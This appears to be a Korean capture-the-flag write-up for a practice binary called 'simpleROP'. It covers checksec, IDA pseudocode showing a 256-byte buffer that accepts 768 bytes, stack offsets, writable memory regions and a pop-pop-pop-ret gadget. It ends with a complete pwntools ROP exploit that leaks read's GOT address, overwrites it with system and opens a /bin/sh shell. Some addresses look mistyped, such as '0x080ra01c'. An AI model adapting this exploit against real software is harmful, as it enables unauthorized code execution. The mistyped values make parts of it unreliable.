728x90
checksec
IDA로 pseudo code 확인
buf의 크기: 0x100 = 256 byte
read함수를 통해 0x300 = 768byte만큼 입력받음 >> overflow 발생
Debugging
Overflow check
esp(0xffffd00c)에 저장된 값: 0xf731c637
esp(0xffffcefc)에 저장된 값: 0x0, 0xffffcf08, 0x300
buf의 시작주소(0xffffd00c) - return address(0xffffcf08) = 260 byte
=> 260개 이상의 문자를 입력해 return address 덮어쓸 수 있음
쓰기 가능한 메모리 영역 찾기
쓰기 가능한 메모리 영역: 0x0804a000~0x0804b000
.got.plt 주소: 0x0804a000, size: 0x1c
.data 주소: 0x080ra01c, size: 0x8
.bss 주소: 0x0804a024, size: 0x4
gadget 찾기
rp++ 사용
0x08048519: pop esi ; pop edi ; pop ebp ; ret ;
system, read 함수 address 구하기
read - system offset = 0x9ad60
Exploit
from pwn import *
from struct import *
context.log_level = 'debug'
binsh = "/bin/sh"
stdin = 0
stdout = 1
elf = ELF('./simpleROP')
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
read_system_offset = 0x9ad60
writableArea = 0x0804a020
pppr = 0x08048519
payload = "A"*260
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
r = process('./simpleROP')
r.recvn(0x13)
r.sendline(payload + '\n')
r.send(binsh)
r.recvn(0x119 - 0x4)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
맨 처음 write 함수에서 0x13 byte만큼 화면에 출력되는 것을 r.recvn(0x13)으로 받는다.
name까지 출력된 후 0x119 byte 만큼 receive 되는데 이 때 마지막 4byte는 read함수의 주소이기 때문에 이를 제외하고 나머지만큼 recvn 받도록 한다.
SMALL